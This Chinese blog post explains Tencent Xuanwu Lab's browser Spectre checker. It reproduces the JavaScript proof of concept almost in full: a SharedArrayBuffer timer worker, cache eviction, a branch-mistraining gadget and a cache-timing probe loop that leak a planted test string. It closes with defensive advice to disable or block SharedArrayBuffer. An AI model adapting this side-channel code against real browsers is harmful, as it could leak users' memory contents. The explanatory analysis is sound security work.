腾讯玄武实验室检测浏览器spectre的原理

检测地址(也是分析的来源):http://xlab.tencent.com/special/spectre/spectre_check.html

首先判断是否启用了window.SharedArrayBuffer,如果没有启用的话就直接输出不容易受到攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function main()
{
output_testing_start();
// 如果不支持window.SharedArrayBuffer直接就输出不受漏洞影响了
// 有了 SharedArrayBuffer 后,多个 web worker 就可以同时读写同一块内存了
// 这种同时访问也有风险,会产生竞争条件
if(window.SharedArrayBuffer)
{
console.log("cache : 8");
output_cache_log(8);
check(8, [88,117,97,110,119,117]);
}
else
{
output_not_info_leak();
}
}

假如是chrome可以在地址栏输入下面的进行开启和关闭(google为了防止利用直接云端控制将这个flag默认关闭了——来自tk微博评论)

chrome://flags/#shared-array-buffer

关闭状态

开启状态

开启后即可检测出存在风险,并在16M缓存的时候可以成功泄露

第一步

新建一个Worker

1
const worker = new Worker('/special/spectre/js/worker.js');

其中worker代码如下:

1
2
3
4
5
6
7
8
self.addEventListener('message', function (event)
{
const sharedBuffer = event.data;
const sharedArray = new Uint32Array(sharedBuffer);
postMessage('start');
while(true)
Atomics.add(sharedArray,0,1); //使用 Atomics.add,加法执行过程中不会因为多线程而被打乱。
});

其中message事件是处理postMessage的

Atomics.add方法原型
Atomics.add(typedArray, index, value)
更多请看
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Atomics/add

第二步

新建了一个SharedArrayBuffer,并作为普通Array的参数new了一下,之后postMessage触发Worker

1
2
3
const sharedBuffer = new SharedArrayBuffer(10 * Uint32Array.BYTES_PER_ELEMENT);
const sharedArray = new Uint32Array(sharedBuffer);
worker.postMessage(sharedBuffer);

接下来是new了一个 num * 1024 * 1024的evictionBuffer(num一开始是8,失败后就将num*2再尝试利用,最多是256,即256M的缓存测试),利用这个buffer再new一个DataView,之后flush掉evictionView

1
2
3
4
5
6
var offset = 64;
var current;
var cache_size = num * 1024 * 1024;
var evictionBuffer = new ArrayBuffer(cache_size);
var evictionView = new DataView(evictionBuffer);
clflush(cache_size);

之后初始化asmModule这个类(其中probeTable是0x3000000大小),并调用init方法

var asm = asmModule(this,{},probeTable.buffer)
asm.init();

init是初始化simpleByteArray

1
2
3
4
5
6
7
8
9
10
11
12
function init()
{
var i =0;
var j =0;
for(i=0; (i|0)<16; i=(i+1)|0 )
simpleByteArray[i|0] = ((i|0)+1)|0;
for(i=0; (i|0)<30; i=(i+1)|0 )
{
j = ((((i|0)*8192)|0) + 0x1000000)|0
simpleByteArray[(j|0)] = 0x10;
}
}

这是初始化后的结果

设置simpleByteArray偏移0x2200000+i的值分别为88,117,97,110,119,117(即Xuanwu的ascii码)
这是为了模拟在内存中存储的密码等信息

1
2
3
var simpleByteArray = new Uint8Array(probeTable.buffer);
for(var i=0;i<data_array.length;i++)
simpleByteArray[0x2200000 + i] = data_array[i];

第三步

最后通过侧信道的攻击方式“读取”0x2200000+i那边的内存,跟我们之前写进去的比较,如果“读”出来的是正确的,那说明我们可以成功泄露了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
for(var i=0;i<data_array.length;i++)
{
var data = readMemoryByteWrapper(0x2200000+i);
if (data != data_array[i])
{
worker.terminate();

if((num*2) < 256)
{
console.log();
console.log("cache : "+ num*2);
output_cache_log(num*2);
check(num*2, data_array);
}
else
{
output_not_info_leak();
}
return;
}
else
{
var infor_string = "\""+String.fromCharCode(data)+"\" : "+ data;
console.log(infor_string);
is_reset = true;
}
}

我们具体看看readMemoryByteWrapper,实际这个函数是调用readMemoryByte进行“读取”,假如读取不成功便尝试继续读取

readMemoryByte

我们重点看下readMemoryByte函数,关键是这两个循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
for (var j = 29; j >= 0; j--)
{
for ( var z = 0; z < 100; z++) {}
var x = ((j % 6) - 1) & ~0xFFFF;
x = (x | (x >> 16));
x = training_x ^ (x & (malicious_x ^ training_x));
asm.vul_call(x,j);
}

for (var i = 0; i < 256; i++)
{
var mix_i = i;
var timeS = start();
junk = probeTable[(mix_i * TABLE1_STRIDE)];
timeE = now();
if (timeE-timeS <= CACHE_HIT_THRESHOLD && mix_i != simpleByteArray[tries % simpleByteArrayLength])
results[mix_i]++;
}

对于第一个循环我们关注asm.vul_call(x,j);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function vul_call(index, sIndex)
{
index = index |0;
sIndex = sIndex |0;
var arr_size = 0;
var j = 0;
junk = probeTable[0]|0;
j = ((((sIndex|0)*8192)|0) + 0x1000000)|0;
arr_size = simpleByteArray[(j|0)]|0;
if ((index|0) < (arr_size|0)) {
index = simpleByteArray[index|0]|0;
index = ((index * 0x1000)|0);
index = (index & ((0x2000000-1)|0))|0;
junk = (junk ^ (probeTable[index]|0))|0;
}
}

这个其实跟meldown的利用方式是相似的,简化一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function vul_call(index, sIndex)
{
var arr_size = 0;
var j = 0;
junk = probeTable[0];
j = ((((sIndex)*8192)) + 0x1000000);
arr_size = simpleByteArray[(j)];
if ((index) < (arr_size)) {
index = simpleByteArray[index];
index = ((index * 0x1000));
index = (index & ((0x2000000-1)));
junk = (junk ^ (probeTable[index]));
}
}

首先读取simpleByteArray里面的值,作为index(索引)

1
2
3
index = simpleByteArray[index];
index = ((index * 0x1000));
index = (index & ((0x2000000-1)));

之后将probeTable利用这个索引跟junk异或,这样probeTable[index]就被缓存下来了

1
junk = (junk ^ (probeTable[index]));

接下来看第二个循环,其中TABLE1_STRIDE为0x1000,跟上面是遥相呼应

1
2
3
4
5
6
7
8
9
for (var i = 0; i < 256; i++)
{
var mix_i = i;
var timeS = start();
junk = probeTable[(mix_i * TABLE1_STRIDE)];
timeE = now();
if (timeE-timeS <= CACHE_HIT_THRESHOLD && mix_i != simpleByteArray[tries % simpleByteArrayLength])
results[mix_i]++;
}

一旦读取出来probeTable[(mix_i * TABLE1_STRIDE)];的值的时间小于CACHE_HIT_THRESHOLD(就是可以去区分从cached和uncached读取时间的阀值,大于它就是uncached的,否则是cached)

一旦是cached的,说明当前的mix_i就是侧信道泄露出来的值,即Array中的这些值[88,117,97,110,119,117]

而results[mix_i]++就是储存100次尝试中成功泄露该位的次数

防护建议

禁用SharedArrayBuffer

既然都禁用这个了,那么含有这个利用的关键词就可以拦截了:

SharedArrayBuffer

references

http://xlab.tencent.com/special/spectre/spectre_check.html
https://segmentfault.com/a/1190000006061528

自愿打赏专区